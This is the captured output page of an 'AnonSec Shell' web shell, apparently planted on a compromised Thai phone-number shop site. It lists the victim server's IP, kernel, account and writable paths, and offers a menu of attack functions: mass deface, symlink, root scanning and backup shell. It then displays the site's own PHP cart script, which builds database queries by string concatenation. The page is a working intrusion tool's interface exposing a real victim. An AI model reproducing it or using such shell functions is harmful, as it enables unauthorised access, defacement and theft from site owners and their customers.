AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/shop/control/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/shop/control/include/ajax_cartlist.php
<?php
$partclass = '../../../';
include("../../control/classmain.php");
function imgprofile_shop($img,$size)
{
  if($img == '')
  {
	  $text = '<img src="../../../images/b1.jpg" width="'.$size.'" height="'.$size.'" class="ImgProfile">';
  }
  else
  {
	  $text = '<img src="../../../redbag/file_manage/'. $img.'" width="'.$size.'" height="'.$size.'" style="border-radius:30px;"  />';
  }
  return $text;
}


?>
<li class="listcart mx-md-3">
  <div class="row bg-danger-sim text-light ">
		เพิ่มสินค้าในตะกร้าเรียบร้อยแล้วค่ะ

	</div>
</li>

<?php
foreach ($_SESSION["cart"] as $key => $value)
{
		$list = array('table'=>'phonenumber','where'=>'id = "'.$value.'"','order'=> "ORDER BY id DESC");
		$view = $view_db->view($list);
		$row = $view_db->q($view);

    $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);

    $row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

		$list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');
		$view_shr = $view_db->view($list_shr);
		$row_shr = $view_db->q($view_shr);
    $urlshop =  $util_class->ck_expired_shop($row_shr['id']);
    
	?>
  <li class="listcart mx-md-3">
		<div class="row bg-danger-sim text-light ">
			<div class="col-2" style="text-align:left;padding-top:5px;" align="left">
				<a href="<?php echo $Url_shop.$row_shr['codeshop']?>"><?php echo imgprofile_shop($row_shr['image_profile'],'34'); ?></a>
			</div>
			<div class="col-10" align="left">
				<div>
					<a href="<?php echo $urlshop;?>" class="text-light"><?php echo $row_shr['nameShop'];?></a>
				</div>
				<div class=""><?php echo $phonenumber; ?>
					<span class="float-end" style="font-weight:bold;"> <?php echo number_format($row['price'])?>  บาท </span>
				</div>
			</div>
		</div>
	</li>

	 <?php
	 $total =   $total + $row['price'];
}
?>
<li class="totalcart mx-md-3">
	<div class="row bg-danger-sim text-light">
		<div class="col-12" style="text-align:left;padding-top:5px;" align="left">
			ราคารวม  <?php echo number_format($total)?>  บาท
		</div>
		<div class="col-12 pe-2" align="right">
			<a onclick="link_cart()" class="btn btn-outline-danger rounded-2 btn_checkout">ชำระสินค้า</a>
		</div>
	</div>
</li>

Anon7 - 2022
AnonSec Team